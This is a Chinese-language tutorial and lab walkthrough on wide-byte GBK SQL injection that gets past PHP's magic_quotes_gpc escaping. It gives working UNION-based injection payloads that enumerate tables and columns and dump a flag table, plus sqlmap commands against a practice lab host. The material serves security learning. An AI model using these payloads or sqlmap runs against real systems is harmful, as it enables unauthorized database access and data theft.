宽字节注入

魔术引号是什么

我们如今要理解一个PHP的防御函数

magic_quotes_gpc(魔术引号开关)

magic_quotes_gpc函数在php中的作用是判别解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会惹起程序,特别是数据库语句由于特殊字符惹起的污染而呈现致命的错误。

单引号(’)、双引号(”)、反斜线()与 NULL(NULL 字符)等字符都会被加上反斜线

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'',来做一定的过滤

单引号和双引号内的一切都是字符串,那我们输入的东西假如不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎样办?

魔术引号在PHP5.4以上的版本被取消了,开不起的,经过PHP配置文件。
addslashes() =>魔术引号对等效果的函数
 

什么是GBK编码格式?

虽然如今呼吁一切的程序都运用unicode编码,一切的网站都运用utf-8编码,来一个统一的国际标准。但依然有很多,包括国内及国外(特别是非英语国度)的一些cms,依然运用着本人国度的一套编码,比方我国的gbk,作为本人默许的编码类型。也有一些cms为了思索老用户,推出了gbk和utf-8两个版本(例如:dedecms)

我们就以gbk字符编码为例,拉开帷幕。GBK全称《汉字内码扩展标准》,gbk是一种多字符编码。他运用了双字节编码计划,由于双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们能够经过输出来考证这句话。

例如:0xD50×5C 对应了汉字“誠”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“誠”。

图片[1]-宽字节注入-孤勇者社区

Utf-8后面汉字变成了%d5%5c,编译出斜杠

图片[2]-宽字节注入-孤勇者社区

Utf-8变成GBK解码出汉字

图片[3]-宽字节注入-孤勇者社区
 

宽字节SQL注入的原理

前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和浸透测试发送了“巧遇”呢?

宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入

例如说MySql的编码设置为了SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而招致的注入破绽。

宽字节SQL注入就是PHP发送恳求到MySql时运用了语句
SET NAMES 'gbk' 或是SET character_set_client =gbk 停止了一次编码,但是又由于一些不经意的字符集转换招致了宽字节注入。

图片[4]-宽字节注入-孤勇者社区

图片[5]-宽字节注入-孤勇者社区

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤
 

绕过magic_quotes_gpc

为了绕过magic_quotes_gpc的,于是乎我们开端导入宽字节的概念

我们发现的编码是%5c,然后我们会想到传参一个字符想方法凑成一个gbk字符,例如:‘運’字是%df%5c

SELECT * FROM users WHERE id='1'' LIMIT 0,1

这条语句由于使我们无法去注入,那么我们是不是能够用%df吃到%5c,由于假如用GBK编码的话这个就是運,然后胜利的让!。

SELECT * FROM users WHERE id='1�'#' LIMIT 0,1

� 实践上就是那个運字
 

判别能否有注入点

?id=1%df' — qwe

图片[6]-宽字节注入-孤勇者社区
 

判别数据库长度

?id=1%df' order by 1 — qwe

图片[7]-宽字节注入-孤勇者社区

输入4没有回显,阐明长度为3

图片[8]-宽字节注入-孤勇者社区
 

当前数据库名

?id=1%df' union select 1,2,database() — qwe

图片[9]-宽字节注入-孤勇者社区
 

查询自带库里面表名

?id=1%df' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 — qwe

图片[10]-宽字节注入-孤勇者社区
 

查询字段名

?id=1%df' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='china_flag' — qwe

图片[11]-宽字节注入-孤勇者社区

这里数据必需用引号括起来
能够用16进制来替代字符串

图片[12]-宽字节注入-孤勇者社区

?id=1%df' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 — qwe

图片[13]-宽字节注入-孤勇者社区

第二种办法
16进制不能被运用能够换成套娃法
?id=1%df' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) — qwe

图片[14]-宽字节注入-孤勇者社区
 

查询表容

?id=1%df' union select 1,C_Flag,3 from china_flag limit 0,2 — qwe

图片[15]-宽字节注入-孤勇者社区

 

Pass-16

闭合")

判别能否有注入点

?id=1%df") — qwe

图片[16]-宽字节注入-孤勇者社区
 

判别数据库长度

?id=1%df") order by 1 — qwe

图片[17]-宽字节注入-孤勇者社区
 

当前数据库名

?id=1%df") union select 1,2,database() — qwe

图片[18]-宽字节注入-孤勇者社区
 

查询自带库里面表名

?id=1%df") union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 — qwe

图片[19]-宽字节注入-孤勇者社区
 

查询字段名

?id=1%df") union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 — qwe

图片[20]-宽字节注入-孤勇者社区
 

查询表容

?id=1%df") union select 1,C_Flag,3 from china_flag limit 0,3 — qwe

图片[21]-宽字节注入-孤勇者社区

 

Pass-17

闭合')

POST注入并不会停止URL转码,所以不能写%df,假如需求的话能够改hex
UTF-8    3个字符
GBK      2个字符
         1个字符

外面传参一个汉字(UTF-8)3个字符
进了数据库GBK 3+1 = 4 => 这里两个汉字

图片[22]-宽字节注入-孤勇者社区
 

判别数据库长度

汗') or length(database())=8 — qwe

图片[23]-宽字节注入-孤勇者社区
 

sqlmap工具SQL注入

当前一切数据库名

sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" -b –dbs

图片[24]-宽字节注入-孤勇者社区
 

查询自带库里面表名

sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" –tables -D widechar -v 3

图片[25]-宽字节注入-孤勇者社区
 

查询字段名

sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" –tables -D widechar -T china_flag –columns

图片[26]-宽字节注入-孤勇者社区

 

查询表容

sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" –tables -D widechar -T china_flag -C Id,C_Flag –dump

图片[27]-宽字节注入-孤勇者社区

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像出及0